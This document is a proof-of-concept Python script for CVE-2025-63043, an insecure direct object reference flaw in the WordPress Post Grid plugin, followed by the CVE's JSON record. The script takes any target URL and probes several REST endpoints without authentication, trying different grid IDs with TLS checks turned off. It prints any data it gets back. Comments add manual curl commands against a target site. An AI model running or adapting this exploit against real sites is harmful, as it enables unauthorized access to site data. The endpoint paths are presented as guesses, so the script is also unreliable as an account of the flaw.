CVE-2025-63043

# CVE-2025-63043 PoC - Post Grid IDOR Authorization Bypass # Affected: Post Grid and Gutenberg Blocks plugin <= 2.3.23 import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-63043 IDOR vulnerability in Post Grid plugin """ # Common WordPress REST API endpoints for Post Grid endpoints = [ '/wp-json/post-grid/v2/get_grid_data', '/wp-json/post-grid/v2/get_post_grid', '/?rest_route=/post-grid/v2/get_grid_data', '/?rest_route=/post-grid/v2/get_post_grid' ] # Try different grid IDs to demonstrate IDOR grid_ids = [1, 2, 3, 100, 1000] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-63043 - Post Grid IDOR Vulnerability\n") for endpoint in endpoints: for grid_id in grid_ids: # Try to access grid data with different IDs params = {'grid_id': grid_id} try: response = requests.get( target_url + endpoint, params=params, timeout=10, verify=False ) if response.status_code == 200: data = response.json() if 'data' in data or 'grid' in str(data).lower(): print(f"[+] VULNERABLE! Grid ID {grid_id} accessible") print(f"[+] Endpoint: {endpoint}") print(f"[+] Response preview: {str(data)[:200]}...") print() return True except Exception as e: continue print("[-] No obvious vulnerability detected") print("[-] Manual testing recommended") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-63043-poc.py <target_url>") print("Example: python cve-2025-63043-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target) if __name__ == '__main__': main() # Additional manual testing: # 1. Install Post Grid plugin version <= 2.3.23 # 2. Create multiple post grids with different configurations # 3. As unauthenticated user, try accessing grid data via: # curl 'http://target.com/wp-json/post-grid/v2/get_grid_data?grid_id=1' # curl 'http://target.com/wp-json/post-grid/v2/get_grid_data?grid_id=2' # 4. If different data is returned for different IDs without authentication, # the site is vulnerable to IDOR

{"cve": {"id": "CVE-2025-63043", "sourceIdentifier": "[email protected]", "published": "2025-12-18T17:15:55.157", "lastModified": "2026-04-23T15:35:00.307", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in PickPlugins Post Grid and Gutenberg Blocks post-grid allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post Grid and Gutenberg Blocks: from n/a through <= 2.3.23."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-grid/vulnerability/wordpress-post-grid-and-gutenberg-blocks-plugin-2-3-19-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}